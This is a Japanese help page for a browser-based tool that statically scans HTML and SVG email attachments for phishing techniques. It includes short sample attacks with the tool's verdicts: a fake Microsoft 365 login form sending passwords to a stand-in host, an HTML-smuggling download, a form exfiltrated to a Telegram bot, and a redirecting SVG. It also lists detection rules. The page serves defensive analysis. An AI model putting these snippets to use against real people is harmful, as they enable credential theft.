Base64、16進数、URLエンコード、gzip、deflateの層を、読めるテキストになるまではがします。
HTML添付ファイル解析
ツール自体は英語ですが、このページではお客様の言語でその使い方を説明しています。
HTML添付ファイル解析 を使用してください
機能の説明
HTMLまたはSVGの添付ファイルを読み込むか貼り付けると、開いた場合に何が起こるかがわかります。隠れたダウンロード、パスワードを別の場所に送信するフォーム、リダイレクト、データ持ち出し先、難読化コードです。ファイルはテキストとして読み込まれ、レンダリングや実行は一切されません。
すべてブラウザ上で動作します。入力した内容は一切アップロードされません。
HTML添付ファイル解析 の使い方
- ファイルを開かない. .html、.htm、.shtml、.xhtml、.svgの添付ファイルを開かずに保存するか、ソースをテキストとしてコピーします。
- 読み込むか貼り付ける. ファイルを枠にドロップするか選択する(最大25 MB)か、ソースを貼り付けて(最大5 MB)Analyze(解析)またはCtrl+Enterを押します。
- 判定を読む. 上部の枠に、High risk、Suspicious、No high-risk patterns foundのいずれかが、その根拠となるカテゴリー、所見、IOC、埋め込みデータの件数とともに表示されます。
- 所見を確認する. 各所見には、深刻度、カテゴリー、行番号、一致したソースが表示され、リンクとアドレスはデファングされています。
- 見つかったものをエクスポートする. IOCをデファングした形またはそのままの形でコピーするか、Send toでIOC Converter、Abuse Report Generator、埋め込みデータの場合はMulti-Layer Decoderに渡します。
例
アドレスが事前入力されたログインフォーム
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…High risk:ログインフォームがパスワードをcollector[.]exampleに送信し、タイトルにはパスワード欄の隣にMicrosoft 365の名前があり、スクリプトがURLのフラグメントからatobでメールアドレスを入力します。IOCリストには、デファングされたcollectorのURLとそのドメインが入ります。
チェック対象
| シグナル | その意味 |
|---|---|
| HTMLスマグリング | ページがメモリ上でファイルを組み立て(createObjectURLやダウンロードリンクを伴うBlob、またはmsSaveOrOpenBlob)、ダウンロードとして提供する場合はhighです。 |
| フォーム | 他のサイトに送信するフォームはすべてhighと評価され、パスワードを含む場合はタイトルにそう示されます。Formsの表には、各フォームの送信先、メソッド、欄が一覧表示されます。 |
| データ持ち出し先 | Telegram Bot APIの呼び出し、ボットのトークン、Discordのwebhook、formspree.ioやwebhook.siteなどのフォーム収集サービスはhighと評価されます。 |
| 難読化 | atob、unescape、fromCharCode、長いエスケープの連続、既知の難読化ツールの出力です。リテラルのエンコード文字列は実行せずにデコードされます。 |
| 動的なコード | eval、Functionコンストラクター、document.write、innerHTMLへの代入は、実行時にコードやマークアップを組み立てます。 |
| リダイレクト | locationの変更、window.open、meta refresh、URLフラグメントの読み取りです。キットはフラグメントで被害者のメールアドレスを渡すことがよくあります。 |
| 解析妨害 | 右クリックやF12のブロック、debugger文、開発者ツールの検出、自動化されたブラウザのチェックです。 |
| 埋め込みコンテンツ | data: URI、長いBase64や16進のデータとそのデコード後のファイル形式、隠しiframe、スクリプトを含むSVGファイルです。 |
| ブランドの手がかり | タイトル、ロゴ、リンクに含まれるブランド名です。パスワード欄の隣にある場合はmediumと評価されます。 |
その他の例
ブラウザ内で組み立てられるダウンロード
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>High risk、理由はHTML smugglingです。high所見が1件(ページがブラウザ内でファイルを組み立て、ダウンロードとして提供する)、medium所見がatob、new Blob、URL.createObjectURL、download属性の4件です。IOCはありません。
Telegramボットに送られるパスワード
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>High risk、理由はData exfiltrationです。パスワード欄のあるページからスクリプトがapi.telegram.orgにデータを送信していること、さらにTelegram Bot APIのエンドポイントの所見があります。medium所見は、fetch、パスワード欄、外部actionのないログインフォームです。
リダイレクトするSVG画像
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>High risk:スクリプトを含むSVGファイルで、さらにmediumのリダイレクトとlowのbtoaの所見があります。リダイレクト先はRequests and redirectsの下に別サイトとして表示され、XML名前空間のURLはIOCから除外されます。
よくある質問
このアナライザーは何を探しますか?
ソースを、HTMLスマグリング(Blob、createObjectURL、msSaveOrOpenBlob、ダウンロードリンク、data: URI、長いBase64データ)、他のサイトにデータを送るフォームやスクリプト、TelegramやDiscordへのデータ持ち出し、リダイレクト、隠しiframe、難読化ツール、解析妨害の手口に関するルールと照合します。また、atob、unescape、fromCharCodeのリテラルを実行せずにデコードし、見つかったすべてのURL、ドメイン、IPアドレス、メールアドレスをデファングして一覧表示します。
見逃しや誤検知はありますか?
あります。暗号化されたコードや実行時に生成されるコードは、静的スキャンから動作を隠せます。また、普通のページでもfetch、innerHTML、インライン画像は使われるため、各所見の隣に表示される一致したソースを読んでください。難読化の解除やサンドボックスでのエミュレーションにはJS Analyzerを使ってください。
ファイルはアップロードされたり開かれたりしますか?
いいえ。ファイルはブラウザ内でテキストとして読み込まれ、レンダリング、実行、送信されることはありません。受け付けるのは最大25 MBのファイルで、非常に大きなファイルでは、マークアップの先頭4 MBと末尾1 MBがスキャンされ、埋め込まれたデータはファイル全体で数えられます。
SVG画像がWebページと同じように確認されるのはなぜですか?
SVGファイルはブラウザがページのように開くXMLなので、スクリプト、リンク、埋め込みHTMLを含むことができます。画像にスクリプトは不要なため、SVG内のスクリプトはhighと評価されます。
埋め込みデータ(embedded blobs)とは何ですか?
ファイル内にある長いBase64、16進、バイト配列の文字列です。メモリ上でデコードされ、変換後のファイル形式のラベルが付きます。コピーしたり、テキストのデータをMulti-Layer Decoderに送ったりできます。
深刻度のレベルは何を意味しますか?
highは、スマグリング、データ持ち出し先、別の場所に送信するパスワードフォームなど、フィッシングやマルウェアの添付ファイルが頼りにするパターンを示します。mediumは、普通のページでも使われる手法です。high所見が1件でもあると、判定はHigh riskになります。